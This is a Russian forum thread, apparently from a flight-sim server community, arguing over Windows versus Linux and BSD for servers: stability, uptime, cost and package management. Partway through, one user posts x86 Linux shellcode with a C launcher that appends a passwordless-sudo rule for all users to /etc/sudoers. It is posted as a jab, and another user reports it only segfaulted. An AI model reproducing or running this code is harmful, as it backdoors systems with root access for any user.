Вид для печати
А зачем парится и изгаляться под Линуксом?Цитата:
Сообщение от winn
Он же дороже, сложнее в настройках и управлении, менее стабилен, наконец, чем винда.
Сплошные неудобства и большие затраты времени.
Линукс это для пионеров которым нечем заняться или для узких профессионалов, для решения их же узкоспециализированных задач.
Ко, дорогой, когда 11 регионов РФ опутаны только одним провайдером, с дикими ценами на внешний инет, и руководство этого провайдера устанавливает правила "только под линукс", то некуда деватся... там тоже летают товарищи с "нуля". Два года бился по установке сервера под винду и т.д.... у очень многих нет вообще возможности по анлиму или "внешке" выходить. тут или "бросить ил" или "париться".Цитата:
Сообщение от tovarisch_Ko
Юмор?Цитата:
Сообщение от tovarisch_Ko
Видимо, товарищ не знает что такой бить баклуши при аптайме от пары лет и выше...:)Цитата:
Сообщение от Waso
Да понятно, что NIX-специалистам надо как-то поддерживать свою нужность и оправданность эксклюзивных зар...положения.Цитата:
Сообщение от DnK
А зачем биться по установке на сервер винды, не проще поставить собственный сервер как железку и ни у кого тогда не спрашивать ни советов, ни разрешений - что ставить на эту собственную железку?
Нынче вон родные интеловские "легкие" 1U cервера совсем не дороги, как, хотя бы они же, 3-4 года назад, да еще и монитор никакой не нужен...
Или у провайдера действительно так жестко, что он и клиентов со своим железом ограничивает, что им там и как на нем делать?
Добавлено через 2 минуты
Вовсе нет. Просто не нужно "прикручивать" то, что предназначено для решения совсем других задач, к задачам для которых вполне годятся более простые и дешевые решения.Цитата:
Сообщение от Waso
Почему не знаю, очень даже до 2004 года дома сидел на диалапе, междугороднем, потому как на краю города и ни один провайдер не желал тянуть провода ради 3-4-5 клиентов, всего-то через 3 дома.Цитата:
Сообщение от DogEater
Теперь есть АДСЛ, то же ждал 1,5 год, пока "оборудование установят на АТС" и пошли они воздушники... кабель зарытый в земле и сертифицированное оборудование лучше, чем сидеть летом в грозы по 2-3 недели без связи.
Добавлено через 3 минуты
Это за собственный сервер клиента или все же за предоставленные самим провайдером сервер?Цитата:
Сообщение от basurman
Надеюсь мы об одном говорим - о коллокейшн?
А софт нулевый переносится на Линукс без проблем, т.к. и Питон, и Firebird SQL существут NIXовые.
Про монополиста, дикие цены и что народу нужен хотя бы внутренний сервер?Цитата:
Сообщение от SilverFox
И все равно это не отменят, что своя железка с виндой проще и дешевле, или тут тоже все так плохо с монополистом?
Коли не юмор, то раскажите тогда чем линукс дороже, чем сложнее и особенно менее стабилен? А то голословность сплошная выходит.Цитата:
Сообщение от tovarisch_Ko
А Win2003 предназначена для общего пользования? Гы...смешно :)Цитата:
Сообщение от tovarisch_Ko
Не надо в одну кучку складывать десктопы и серверы, тут разговор о серверах идет..."как бе".
Кстати, был случай, одной тетке, буху, поставили какую-то кубунту на рабочую машину, сказали что это новая винда и она до сих пор всем довольна. Эску она все-равно по RDP брала.
Добавлено через 1 минуту
Это с чего своя железка с виндой стала дешевле? Али вы просто не знаете, что продукт от фирмы Майкрософт стоит денег? :DЦитата:
Сообщение от tovarisch_Ko
Или может быть вы наивно полагаете, что любой провайдер вам даст припереть какой-нибудь свой мидл-тауэр собранный из подручных материалов и сунуть его "тут рядышком в уголке"?
P.S. Holy war я разводить нисколько не собираюсь...ибо глупое занятие
Нет - про это :Цитата:
Сообщение от tovarisch_Ko
У меня серваки пока новые , столько не наработали, но старые и поболее 2 лет работали без перезагрузки. То есть настроил поставил и бей баклуши :)Цитата:
Видимо, товарищ не знает что такой бить баклуши при аптайме от пары лет и выше...
[sfox@main ~]$ top
top - 12:21:17 up 201 days,
А вот бухсерверу на 2003 MS стока наработать никак не получается :)
Тем дороже и сложнее, что специалисты для него дороже в разы и реже к тому же значительно, пионеры, которые изучают продукт в процессе установки и эксплуатации никому нафиг не нужны.Цитата:
Сообщение от Waso
Или вы думаете, что вся стоимость системы определяется только стоимостью дистрибутива и железа? Наверняка ведь знаете про понятие "стоимость владения"?
А стабильность вообще понятие слабоопределяемое, хотя бы в силу применимости продукта, вот у меня Линукс абсолютно не стабилен, потому как попросту не применим.
А интересно, для чего еще по вашему? :)Цитата:
Сообщение от Waso
Про десктопы и речи нет.
Потому что один раз заплатил за неё и далее провайдеру только за размещение и трафик.Цитата:
Сообщение от Waso
Разумеется стоит денег, при чем не намного дороже такого же коробочного NIX дистрибутива с нормальной подпиской-поддержкой.Цитата:
Сообщение от Waso
Провайдер который пускает к себе с мидл-тауэрами и не провайдер вовсе, так железо-помойка, тут даже рассматривать нечего.Цитата:
Сообщение от Waso
Добавлено через 13 минут
А меня не новые, уже 6 лет под 2000 виндой и MS SQL работают, так же все в порядке, только пылесосить иногда надо, потому как стоят просто в оффисе.Цитата:
Сообщение от SilverFox
Все одно не не понимаешь нас что ли ?Цитата:
Сообщение от tovarisch_Ko
Приведи время работы без перезагрузки твоих компов - up time.
Все 6 лет. Выключаются раз в год для профилактики железа (пылесос).Цитата:
Сообщение от SilverFox
Сервер Нуля без перезагрузки работал с момента запуска до мая прошлого года, когда переставили систему ради некоторых новых фич, при чем через 4 месяца после запуска пережил смену платформы (железа) без переустановки софта.
Это спор бессмысленный. Винда уже давно ни чем не хуже Линукса, в плане стабильности, что собственно доказывается её куда большей распространённостью, а серверная вообще никогда не была хуже. В плане же удобства администрирования Линукс всегда уступал.
А я по наивности думал, что любые специалисты стоят дорого. А оказывается спецы винды дешевле...каковы спецы, такова и цена.Цитата:
Сообщение от tovarisch_Ko
А для меня стабильность это в первую очередь стабильность работы.
Опять же есть пример. У меня Иловский сервер крутится под 2k3, на которую у меня только гостевой вход. Машина вполне себе на правильном железе, вполне себе работает не в экстремальных режимах, и в присутствии хозяина ведет себя вполне адектватно. Но вот стоило ему уехать на длительные каникулы и машина через три недели сама по себе стала виснуть раз в сутки. Просто тупо уходит со связи и все тут. Теперь вот ждём возвращения хозяина как маны небесной. Вот такие вещи я вкладываю в понятие стабильности.
Для общего пользования существуют десктопные операционки. Хотя если вам нравится забивать гвозди микроскопом...Цитата:
Сообщение от tovarisch_Ko
А в случае линукса надо за что-то платить дополнительно? :eek:Цитата:
Сообщение от tovarisch_Ko
Кстати!, сама по себе винда полный ноль...просто окна без всего. Так что к стоимости операционки прибавляйте стоимости расширения функциональности и сервисов. А это уже сумма. Кстати, для чего нульваровский сервер использует бесплатные и совсем неродные для M$ пайтон, зопу и файрберд, если мог с огромным для себя преимуществом работать под IIS и быть написаным на си-шарпе с базой в MS SQL? :) Тем более это должно было уменьшить "стоимость владения".
P.S. А если в общем, то моё мнение всегда было и будет оставаться следующим - выбирать инструмент нужно прежде всего исходя из задачи. Про микроскоп я уже написал.
Возможно, но скорее всего конкуренция, специалистов под винду больше и она проще, отсюда зарплата ниже. Вы бы еще Оракловцев или Цисковцев вспомнили.Цитата:
Сообщение от Waso
Как будьто есть другое понятие.Цитата:
Сообщение от Waso
У меня вот тоже есть знакомый построивший сервер под серьезный проект все железо правильное - платформа не левая интеловская, всякие там 4-х ядерники, много правильной памяти, рэйды и пр. террабайты, и теперь жалуется на сбои, под Линуксом как раз => Линукс не стабилен нифига :)
Это про любую операционку можно сказать - они для того и существует, чтобы застваить груду железа выполнять полезные функции.Цитата:
Сообщение от Waso
А уж какие, это определяется надстройками.
А кто будет платить за переход от Файрберда на MSSQL или перекодировать с Пайтона на C#? И почему они собственно не родные?Цитата:
Сообщение от Waso
Никаких виртуальных машин и т.п. для них запускать не надо ведь.
Вот именно, к чему и пришли, раз Ил изначально сделали под винду, то нефиг и изгаляться.Цитата:
Сообщение от Waso
А чего их вспоминать. Не считаю себя крутым цискарём, но хлеб приходится зарабатывать то циски перетряхивая, то линуха перелопачивая.Цитата:
Сообщение от tovarisch_Ko
Я почему винду недолюбливаю...она суть "чёрный ящик". Что происходит внутри можно только гадать и при этом ни разу не попасть в правильный ответ :)
Странно это...весьмаЦитата:
Сообщение от tovarisch_Ko
Они родом фром *nix, все до единого. Ну разве что файрбёрд странный перебежчик-оборотень из винды :)Цитата:
Сообщение от tovarisch_Ko
P.S. Ладно, хорош офтопить. Это конечно интересно, только толку ноль. Кстати, а вы для чего в эту тему вообще зашли? :)
С чего это вдруг? То что они свободно распространяемые и их сначала реализовали под NIХы ещё ничего не значит.Цитата:
Сообщение от Waso
Ничего странного. Проблемы с софтом, т.к. с железом их нет, и дело не в стабильности Линукса как платформы, и не кривые руки там у кого надо, но...Цитата:
Сообщение от Waso
Любопытства ради - чего это народ придумывает себе сложности, а потом мужественно их преодолевает.Цитата:
Сообщение от Waso
Ничего против Линукса и пр. NIXов не имею, как и против их приверженцев, просто хотел узнать, зачем конкретно в этом случае...
У меня FTP сервер + технический форум стоит под 2003 и вопросов нет, работает как часики, а вот сервер, что под пингвином порядком всем уже надоел, сборку ту, что работает, собирали несколько человек, а фактически один. Так вот, когда пингвин падает, все только разводят руками и смотрят в рот системному администратору, и в чём плюс, в том, что человек молится на пингвина ? Вот вам и царь и Бог в одном лице, да и вообще, что теперь на одного человека молится ? Где унифицированность ?
Лично для себя я сделал вывод, всё что нужно для серверной части, так это стабильность и понимание тех, кто эту систему обслуживает. Как сказал один товарищ, который в совершенстве работает в сервеной части винди и люнекса, Не ставьте люникс - это сборище глюков и он достаточно неповоротлив..........
Спор стар как мир. Похоже здесь образовался филиал ЛОР или опеннета.
Вы(виндузятники и линуксоиды) ещё БСДшников задирать начните для абсолютного счастья. :umora:
Спор возник на вопросе - зачем ставить Линукс, там где необходимости в нем нет?Цитата:
Сообщение от DogEater
И тему сразу увели в сторону спора что лучше.
NIXы не хуже и не лучше винды, всему свое применение, в примении их к Ил-2 есть большое сомнение, развеять которое ни как не получается.
Что лучше или хуже, все зависит от точки зрения, естественно каждый профессионал будет доказывать свою нужность, но есть еще и точка зрения пользователя-потребителя-заказчика, т.е. тогокто будет работать и того кто будет поддерживать.
Добавлено через 5 минут
То же самое можно сказать про Линукс, если ты не являешься его разработчиком-кодировщиком, а пользователи, да и админы таковыми обычно :) не являются.Цитата:
Сообщение от Waso
Да, в Линукс "ящички" поменьше, зато их побольше, и что на самом деле лучше - еще можно поспорить.
А проблемы, у разработчиков, и там и там одинаковые, и решаются они одинаково, потому как Линукс уже давно разрабатывается на тех же принципах, что и винда, у них только принцип распространения и поддержки отличается, что не в пользу Линукс, сейчас.
Глубокая мастурбация с wine ИМО не стоит того. Надёжнее не станет.
То, что отсутствует версия сервера Ила под linux/bsd - печально - но это факт.
собственно всё.
Все правильно, Линукс сейчас это "пальцы", единственная необходимость в нем - чтобы Микрософт не заснул.Цитата:
Сообщение от =SF=Andre
Добавлено через 1 минуту
И не будет никогда - спрос и так не велик и тратить усилия никто не будет, да и смысла нет - все равно игровая платформа виндовая, а не NIXовая, скорее под игроприставки напишут, что собственно уже и делается.Цитата:
Сообщение от DogEater
А мужики то не знают, у которых QNX стоит...Цитата:
Сообщение от =SF=Andre
Им надо срочно на винду переходить...
вы еще верите в линух? тогда мы летим к вам!Цитата:
Сообщение от Waso
Author: Rick
Email: rick2600@hotmail.com
OS: Linux/x86
Description: Anyone can run sudo without password
section .text
global _start
_start:
;open("/etc/sudoers", O_WRONLY | O_APPEND);
xor eax, eax
push eax
push 0x7372656f
push 0x6475732f
push 0x6374652f
mov ebx, esp
mov cx, 0x401
mov al, 0x05
int 0x80
mov ebx, eax
;write(fd, ALL ALL=(ALL) NOPASSWD: ALL\n, len);
xor eax, eax
push eax
push 0x0a4c4c41
push 0x203a4457
push 0x53534150
push 0x4f4e2029
push 0x4c4c4128
push 0x3d4c4c41
push 0x204c4c41
mov ecx, esp
mov dl, 0x1c
mov al, 0x04
int 0x80
;close(file)
mov al, 0x06
int 0x80
;exit(0);
xor ebx, ebx
mov al, 0x01
int 0x80
*/
#include <stdio.h>
#include <string.h>
char code[] =
"\x31\xc0\x50\x68\x6f\x65\x72\x73\x68\x2f\x73\x75\x64"
"\x68\x2f\x65\x74\x63\x89\xe3\x66\xb9\x01\x04\xb0\x05"
"\xcd\x80\x89\xc3\x31\xc0\x50\x68\x41\x4c\x4c\x0a\x68"
"\x57\x44\x3a\x20\x68\x50\x41\x53\x53\x68\x29\x20\x4e"
"\x4f\x68\x28\x41\x4c\x4c\x68\x41\x4c\x4c\x3d\x68\x41"
"\x4c\x4c\x20\x89\xe1\xb2\x1c\xb0\x04\xcd\x80\xb0\x06"
"\xcd\x80\x31\xdb\xb0\x01\xcd\x80";
void main(void) {
void (*shellcode)() = code;
shellcode();
}
Да уж, смешной спор...
а мужики в всяких яндексах, гуглах и т.п. и не знают, что оказывается винда то надежнее :D и наверно по своей природной глупости ставят на тысячи серверов линукс или FreeBSD. и эти сервера работают годами под нехилыми нагрузками.
Добавлено через 12 минут
а сами проверяли?Цитата:
Сообщение от Youss
проверил на 3х дистрибутивах, ни на одном это ни к чему не привело, кроме сегфолта ;) (попытка доступа в чужую память)
Значит это неправильные дистрибутивы :rtfm:Цитата:
Сообщение от RR_Vespertinus
:)
А я вот верю в Netbsd и FreeBSD :) А вот в винду не верю совсем ) Особливо в серверной части :) Хотя вру - есть у Винды хорошие проекты типа Sharepoint но их по пальцам пересчитать можно
Про десктоп не говорим ) Тут была фраза что винда давно не хуже никсов в плане стабильности серверной части. Хотелось бы уточнить про какие серверные продукты шла речь ? :)
А вы так уверены, что там стоят именно Линукс и именно FreeBSD? :)Цитата:
Сообщение от RR_Vespertinus
Это как бы ни для кого не секрет :)Цитата:
Сообщение от tovarisch_Ko
об этом говорится на каждой конференции, ну и в сети публикуется информация о средставх которые используют гиганты.
Например, если брать в расчет рунет, среди всех более менее значимых больших контора типа яндекс, рамблер, mail.ru, rbk, sup и т.д. только в апорте когда - то была винда. В остальных заведениях это или линукс (Debian или open suse) или FreeBSD
Старьем кормите кого-нибудь другого :)Цитата:
Сообщение от Youss
Добавлено через 24 минуты
У меня друг работает в весьма крупном интернет проекте. Внутри почти все на CentOS на блейд-серверах. Винда там встречается изредка на нотбуках.Цитата:
Сообщение от tovarisch_Ko
Кстати, подскажите мне, почему в Juniper'ах его JunOS основана на FreeBSD? А для чего во всяческих DVD-плеерах и различных сетевых прибамбасах (dsl момеды, свитчи, роутеры) стоит линукс? И покажите мне хоть один гаджет с виндой? А ведь она проще, стабильнее и дешевле. Вы серьёзно думаете, что китайцы настолько тупы, что будут ставить в железки то, что сложнее и дороже в разработке? :)
Правда китайцы много что могут, например вот такой антенный усилитель сделать и продавать :)
*nix и его сотоварищи хороши везде, где необходима (или желательна) заточка под конкретные задачи, и ресурсов либо впритык, либо они должны использоваться максимально эффективно. При этом вопрос адаптации под разное железо не ставится изначально - есть платформа и точка.
Универсальной же ОС для обычного пользователя, является Windows. Потому что поддерживает кучу железа (старого, нового, хорошего и китайского), проста в установке и настройке. И лучше знает русский язык (для нас это актуально).
Насчет серверов. Не знаю, линуксовых не видел. А вот на Windows 2000 server стояла у нас в ап-тайме одна железка 4 с половиной года. Выключили в целях замены батарей на ИБП. После замены включили его и опять забыли на очередные 4-5 лет.
Сдается мне, что не от версии (или типа) ОС зависит стабильность сервера, а от железа, условий в которых это железо эксплуатируется и (наверное самое главное) - грамотной настройки сервера под его задачи.
Железо чрезвычайно важно.
Самосборное железо может глючить непредсказуемо.
Когда-то я собрал "сервер" для наших дизайнеров - полтора года с ним мучились.
Потом купили IBM Netfinity, "шапку" я со старого перетащил - молотит до сих пор. Перезагрузки только из-за замены дисков(постоянно заменяем на бОльший размер).
2 года назад настроил людям W2k3 сервер xServer 226 под mssql. Пока не дёргали :)
А держатель предохранителя то - ДПБ ( ещё видимо советский), резисторы СП5-22 с ромбиком приёмки, да и транс похоже тоже... - где же живут такие бесчестные китайцы? :) Ставлю миллион к одному что фамилии у этих дельцов вовсе не китайские :)Цитата:
Сообщение от Waso
P.S. диод без ленточки катода - похож на КД208-209 (маркировка на торце)
Утверждалось, что у китайцев куплено. Хотя да, держатель однозначно совейский :) Кстати, вот тут тоже показывали поделие:Цитата:
Сообщение от Alex Oz
http://www.burcev.ru/catalog/product/Super_DAC/ - сайт производителя, гляньте цену.
А вот его внутренности:
http://s56.radikal.ru/i151/0812/55/cb21ac8b7090.jpg
дык тож не китайское,Цитата:
Сообщение от Waso
Цитата с сайта производителя: Гарантии – 10 лет на Super DAC и 20 лет на тактовый кварцевый генератор (военная приемка). Когда это у китайцев было такое? :)
Вторичный признак - двусторонняя печатная плата с маской - что нетипично для дешевых китайских технологий.Разводка платы опять же слишком каноническая - проводники под 45 и 90° - скорей похоже на нашу школу. Монтаж выполнен хоть и ужасно, но термоклеем фиксируется только конденсаторы и светодиод - китайцы зафиксировавли бы и провода.
Вы плохо смотрели...там самый отечественный электропром. Бутман даже выбрал %)Цитата:
Сообщение от Alex Oz
Я таких поделий могу пачками показывать...особенно славятся аппараты лечения всего и вся, типа "Онега"...полный писец..."а внутре у ей думатель и анализатер"...и никому нет дела, что за лохов бедных стариков держат.
И тут оффтопить завершаю...ибо грустно слишком все это.
Ндя... Еслиб пришлось ставить сервер то пожлуй распределил бы ОС по ранжиру:
FreeBSD.
M$ Windows 2XXX
и только потом Linux.
В последнем- больше всего будет проблем. Клоненный-переклоненный, ядро делают одни люди, либы -другие, программы - третьи... В итоге "черте что и сбоку бантик". Пакетозависимая весьма оська. Причем настолько это пакетозависимость достигла пределов порнографического искусства, что ..... Пока я еще не встречал ни одного дистриба GNU\Linux без меленьких и крупеньких глючков. Стрёмненько вощем......
А вот первые две Оси - собираются всегда одной и той же коммандой. Досканально штудируются на всяческие огрехи и прорехи и стабильность. Ядрёна система M$ однозначно лучше всех, а система "портов" BSD - гораздо лучше "пакетного кошмара" Linux.
Больше шансов, что под первыми двумя- возникнет меньше всего проблем при дальнейшей эксплуатации.
Если б еще M$ открыли-таки все тайны ntfs для всех, и "фряха" бы научилась бы эту ФС пользовать красиво и правильно... Вообще бы было шикарно. :rolleyes:
Спокойнее :)Цитата:
Сообщение от CTPEK03A
Вот как раз что ОЧЕНЬ убого в БСД и очень хорошо во вменяемых дистрибутивах линукса это система пакетов. По удобству обслуживания и разработки БСД просто в ауте ;)
ненадо вспоминать порты ;) за это давно давно надоб руки порубить.
Если попытаться быть объективным, в БСД есть ОДНО неоспоримое преимущество - kqueue, e-poll к сожалению, еще не может полностью заменить.
Все :)
дальше субъективное - к сожалению, просто безобразно неудобная система с точки зрения разработчика.. то что там называется пакетами - какое-то недоразумение. если что-то нужно, сразу надо компилить... я конечно понимаю, бывает и хуже (привет гентушникам).
P.S. не один год работал ток под виндой, потом стал под Линуксом и БСД.
в моеме личном рейтинге:
Windows - Для дома, для игр.
Linux - сервера + десктопы для разработчиков, работать удобнее чем под виндовс, как это ни странно..
BSD - только сервера, при чем обоснованно применение ток если нужно использовать сетевые особенности kqueue.
P.P.S 64 битная FreeBSD Это отдельная песня :D года 2 назад никак не признавала 12 гигов оперативки, видела ток 4ре. что только не делали наши админы. Ну и по мелочам радостей хватает
сори, если что, енто не наезд )
теперь, тож остываю
А в мегаудобной винде вообще софт надо сперва найти, потом поставить, а часто ещё и купить (взломать)...и никакой системы пакетов и вменяемого поиска программ :) Кошмар! :)Цитата:
Сообщение от CTPEK03A
..Удалено.., хоть по одному крупному и мелкому глючку линукса назовите?
А то как в анекдоте:
Цитата:
- Изя, Вы слушали биттлз?
- Нет.
- Божеш Вас упаси их слушать. Мине вчера Мойша напел, п'госто ужасно ка'гтавят!
Да точно таким же макаром, как и в linux, только через обычный поисковик. Поскольку операционка пакетонезависима и мультиядерна - то совершенно пофигу, какой программный продукт ты проинсталишь. Целостность системы отэтого едва-ли пострадает. У меня вон по сию пору работают программы, аж 1992 года выпуска. :eek: И пофигу библиотеки.Цитата:
Сообщение от Waso
Чё там искать-то? Былоб чего... Львиная доля стандартных по дефолту программ - это кроссплатформенные приложения. Практически, всё что есть под *nix - есть и под windows.
Другое дело, что некоторые профессиональные приложения существуют только под windows и платно, а под *nix вообще - никак. Но это всё с точки зрения десктопоюзеров. В отношении серверов - тебе и 0,01% всего этого софтварного барахла не понадобится.
Любой багтрэк к вашим услугам. У любого дистриба есть такой сборничек "косячков". Причем, там такие описания, таких нелепых и тупейших по сути своей ошибок, что "башорг" просто отдыхает.Цитата:
..Удалено.., хоть по одному крупному и мелкому глючку линукса назовите?А то как в анекдоте:
Пакетозависимые системы - не могут быть хорошими по определению. Это полный отстой и убожество. Хоть для разработчиков, хоть для кого хочешь. Это очень и очень плохо. А в сочетании ещё и с моноядром - совсем погано.Цитата:
Сообщение от RR_Vespertinus
По "определению" это хороший критерий :)Цитата:
Сообщение от CTPEK03A
Мой собственный опыт говорит об обратном
Добавлено через 2 минуты
То есть в БСД багтрек всегда пуст и нет ошибок? :lol: :eek:Цитата:
Сообщение от CTPEK03A
Ну, честно, как-то совсем неубедительно.
Всё познаётся в сравнении. Багтрэки есть у всех, но разного объёма и разной степени глупости.
Когда в багзиллу фигарят вот такие комменты:
- это уже назывется "жечь неподетски!". Ответы в тойже ветке багзиллы от разработчиков - жгут еще более ярким напалмом:Цитата:
Обновился я до dist-upgrade с 21.02.2006 нп 22.02.2006. После перезапуска системы 22.02.2006 оказалось, что apt снес почти все (в частности mutt, XOrg, firefox, thunderbird, половину kde и пр.). Самое интересное, что он снес и самого себя. :D
Попытка установить apt привела к необходимости обновить libreadline. Обновление этой библиотеки требовало обновление bash/sh. Потом пошло-поехало... Накачал я все это вручную, запустил старый добрый rpm... Вылетел Oops... где-то на обновлении питона. Весело... В результате bash не успел обновиться и не запускался с обновленной libreadline. Все исправил... Осталось понять что же снес-таки apt?! :umora:
Вот оно твое "преимущество пакетов", которого по сути нет. Сама по себе возможность разнести всю систему по косточкам с помощью менеджера пакетов - это ну никак не плюс в сторону безопасности и отказоустойчивости системы.Цитата:
Сам дурак, а мы - гении! Юзай в дальнейшем хешер и не отвлекай людей на пустяки!
Бывает еще более смешная ситуация: обновление какой-либо программы, которое тебе до зарезу требуется. Угу... Программа-то обновляется, но заменяет старые библии на новые, которые ей необходимы для правильной работы, вот только старые программы, которые ты используешь -напрочь откзываются работать с новыми библиотеками. Начинается стандартный "*nix геморой и пляски с бубнами". Вплоть до полного апгрейда системы, который тоже ничего хорошего не принесет. К примеру, более новые версии программ - оказываются менее функциональными или менее удобными чем предыдущие. Нет уж- нафиг... нафиг...
Там ощущение такое -"Проинсталлил и ничего больше не трогай! Работает - и молись!" Как будто идешь по тонкому льду, а он под тобой похрустывает и в любой момент может проломиться.
А можно узнать с какого перепуга вы глюк конкверора отнесли к глюкам линукса? :)Цитата:
Сообщение от CTPEK03A
А это вообще не к месту цитирование. Все давно знают, что сизиф в альте это репозитарий ради репозитария, из-за этого из их команды ушло много весьма толковых мэйнтейнеров.Цитата:
Сообщение от CTPEK03A
И совсем не вкурил я про "мультиядерность". переведите, что вы имели в виду?
А вот в том-то и дело, что собственно акромя самого ядра GNU/Linux - там в основном только глюки и остаются. Вся ОС такая: ядро + много....много.... много левх, и той, или иной степени глючностей- пакетов.Цитата:
Сообщение от Waso
Причем по тупейшей причине это происходит: ведь не смотря на хвалёную открытость "сырцов", ни один из дистромейкеров - не удосуживается проверить ни одну строчку этих кодов! И лепит и лепит глюки. Главное - это побольше пакетов, глючных и разных! Но шоб побольше! Не важно, что половина глючит, а вторая половина никогда никому не понадобиться... Не важно! Главное чтоб их было 2000-3000 тысячи :eek:
До смешного доходит: к примеру родная локаль у дистриба - уникод, а некоторые приложения из состава этого же дистрибутива - всё равно хотят работать под KOI8-R. :umora: А почему? А потому, что вхреначили этот пакет "не глядючи". Это явление в просторечии называется "распиз...во", батенька!
Банальная халтура и халатность.
Иногда, одни и те же глюки - качуют из дистриба в дистриб, по версиям, из года в год. Всем на всех нас...ть. (В отличии от BSD к стати.)
Мультиядерность? Перевести? С какого на какой?! С русского же на русский, что ли? По-моему, в нете есть 1000 и 1 источник, посвященный описанию ядер NT. Там подробнейшим образом, перечисленны все ядра NT, структура, взаимодействие с железом, взаимодействие с сервисами, и взаимодействие с прикладным п\о пользователя. Нда-с... NT - гибридная, (мультиядерная)ОС. Её можно было бы смело назвать микроядерной, если бы не размер более 1мб, и некоторое отступление от чисто-канонического микроядра (в ядре (в одном из..) системы находится, например, ещё и модуль графического интерфейса).Цитата:
И совсем не вкурил я про "мультиядерность". переведите, что вы имели в виду?
Про "родную локаль" для дистрибутива это вы вообще полную глупость сморозили, это вам не DOS. Да, есть софт, который не умеет работать с юникодом. Но это проблемы конкретных разработчиков, а не дистрибутива. Кстати, я юникодом не пользуюсь, по причине его полной неудобности для меня как человека, сталкивающимся с текстами в куче различных кодировок.Цитата:
Сообщение от CTPEK03A
И может быть Вам показать программы, которые вполне работают под виндой, но показывают умляюты вместо русского? :) Или вы мне скажете, что ни разу не лазили в HKLM\SYSTEM\ControlSet001\Control\Nls\CodePage и у вас все работает без проблем? :)
Про "кучу пакетов лишь бы было" это вы основываясь на чем такой диагноз линуксу ставите? Опять на альте? Может быть на генте? Там вообще чтобы попасть в основное дерево портеджей надо очень постараться. С остальными дистрибутивами ситуация тоже похожая. Если используете Unstable ветки с кучами софта - то это только ваши проблемы. Вас же всегда предупреждают об этом.
Да при чем тут давно мертвая dos? Вообще ни при чем. Можно конечно и в линуксе и винде, не особо как хитрым макаром запускать любое приложение под любую кодировку. Но дело-то не в этом. А собственно в самой халтурности сборки. "После установки - обработайте напильником до желаемой формы и функциональности."Цитата:
Сообщение от Waso
Причем, эта "обработка" может занять фиг его знает сколько времени.
Нетъ. Это как раз проблемы криволапой сборки дистромейкера. Собрать дистрибутив рабочий и удобный - это не просто понапихать внего всяческого говнеца, а наверное буквально каждый пакет проверить, отдебажить и отрихтовать должным образом. А этого-то, как раз никто из дистромейкеров и не делает.Цитата:
Да, есть софт, который не умеет работать с юникодом. Но это проблемы конкретных разработчиков, а не дистрибутива.
Никогда. Всё работает без проблем. Я даже и не знаю где это и для чего оно вообще нужно. :PЦитата:
Или вы мне скажете, что ни разу не лазили в HKLM\SYSTEM\ControlSet001\Control\Nls\CodePage и у вас все работает без проблем? :)
Надоел мне этот спор...читаете ответы между строк, передергиваете, аргументация отсутствует как класс.
Думаю тему можно закрыть или даже просто удалить
Присоединюсь к Waso. Тема обсуждалась миллиарды раз на других форумах. Оппоненты так и не смогли убедить друг друга. Диалог превратился в набор монологов.
Оно нам надо?
Вот это правильно. Любителей сладкой мелкософтинщы никогда не переубедишь.Цитата:
Сообщение от Waso
Давайте все воскрикнем " Ура Винде ". Поплошало :lol:
Не спора ради,а лишь личным опытом поделиться. Ярые защитники микрософта либо не профессионалы, либо уставшие люди. в 90-х слишком много людей "примазалось" к славному цеху " обработчиков данных".
Правда и то,что до 2003 года Мелкософт лидировал . Но какой год на дворе ?
Я по работе отвечаю за полсотни серверов . клиентов , к радости ученики обсуживают. Почти каждый месяц веду споры о "защите и обоснованности инвестиций".
Я не вижу на сегодняшний день НИ ОДНОГО продукта Мелкософта, на который стоило бы тратить инвестиции.
Ну а в части клиентов- могу дать совет. Найдите старый Пентиум-4 и поставьте на него Ubuntu c http://ubuntu.ru/.
Вот тогда и будете говорить с " просвещенными :dance:
:fool:Цитата:
Сообщение от Schalker
2009год от Р.Х. Сайт со статистикой тут: www.netcraft.com.
На десктопах линух почетно занимает свои 0,99%, и постепенно уступает на срверах.
Очки себе купите. ;) И потом... Киса, я Вам как менагер менагеру говорю: инвестиции не тратят! Это тупо. Зарубите это себе на носу:их или привлекают, или делают с целью извлечения выгоды.(прибыли.)Цитата:
Я не вижу на сегодняшний день НИ ОДНОГО продукта Мелкософта, на который стоило бы тратить инвестиции.
:lol:Цитата:
Ну а в части клиентов- могу дать совет. Найдите старый Пентиум-4 и поставьте на него Ubuntu c http://ubuntu.ru/.
Вот тогда и будете говорить с " просвещенными :dance:
Послушайте, "гуру"! Очнитесь! Я с Вас валяюсь! :lol: Я не то что там на какой-то "старый Р4", а аж на "целик мобайл" в 1,5Ггц, и 256 метров RAM устанавливал:
Тык вот: вся "Каноникал" вместе с Шатллвортом - сосёт не переставая у Свисты. Причем в любом режиме. Причем с минимумом необходимых запущенных сервисов, и даже без гуйни. Ога... Как по быстродействию, так и по отказоустойчивости. Я это уже все проходил, и с Убунтой плотно знаком еще с шестых версий. Плавали - знаем.
- Виста Ультимэйт(как мне это удалось в принципе - отдельный разговор.Для профессионалов ;))
- Убунта "Интерпидричный козёл" 8.10